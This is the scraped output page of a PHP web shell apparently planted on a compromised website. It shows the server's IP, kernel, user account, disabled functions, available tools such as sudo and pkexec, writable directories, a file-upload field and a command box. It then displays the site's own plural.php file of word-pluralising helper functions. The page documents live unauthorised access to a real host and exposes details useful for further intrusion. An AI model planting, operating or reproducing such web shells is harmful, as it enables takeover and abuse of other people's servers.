403Webshell
Server IP : 51.89.169.208  /  Your IP : 18.216.230.65
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/members/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/members/plural.php
<?
function singplural($string){ 
$string = preg_replace("/[^A-Za-z 0-9]/", "", $string);
$mstring=array(); $string = explode(' ', strtolower(trim($string)));
foreach($string as $key) { $mstring[] =  depluralize($key); $mstring[] =  pluralize($key);}
$mary=array_merge($string,$mstring); $mary=array_unique($mary);
foreach($mary as $keywords) { $mkeywords .= ' '.$keywords; }
return $mkeywords;
}
function pluralize($word){
    $rules = array( 	'o' => 'os', 	'oy' => 'oys',  'y' => 'ies', 	'x' => 'xes', 	'oe' => 'oes',  	'x' => 'xes', 	'h' => 'hes', 	'ss' => 'sses', 		'se' => 'ses', 	'ch' => 'ches', 	'es' => 'es');
    foreach(array_keys($rules) as $key){
        if(substr($word, (strlen($key) * -1)) != $key) 
            continue;
        if($key === false) 
            return $word;
        return substr($word, 0, strlen($word) - strlen($key)) . $rules[$key]; 
    }
    return $word.'s';
}
function depluralize($word){
    $rules = array( 	'ss' => 'ss', 	'os' => 'o', 	'ys' => 'y', 'ies' => 'y', 	'xes' => 'x', 	'oes' => 'o',  	'xes' => 'x', 	'hes' => 'h', 	'sses' => 'ss', 		'ses' => 'se', 	'ches' => 'ch', 		's' => '');
    foreach(array_keys($rules) as $key){
        if(substr($word, (strlen($key) * -1)) != $key) 
            continue;
        if($key === false) 
            return $word;
        return substr($word, 0, strlen($word) - strlen($key)) . $rules[$key]; 
    }
    return $word;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit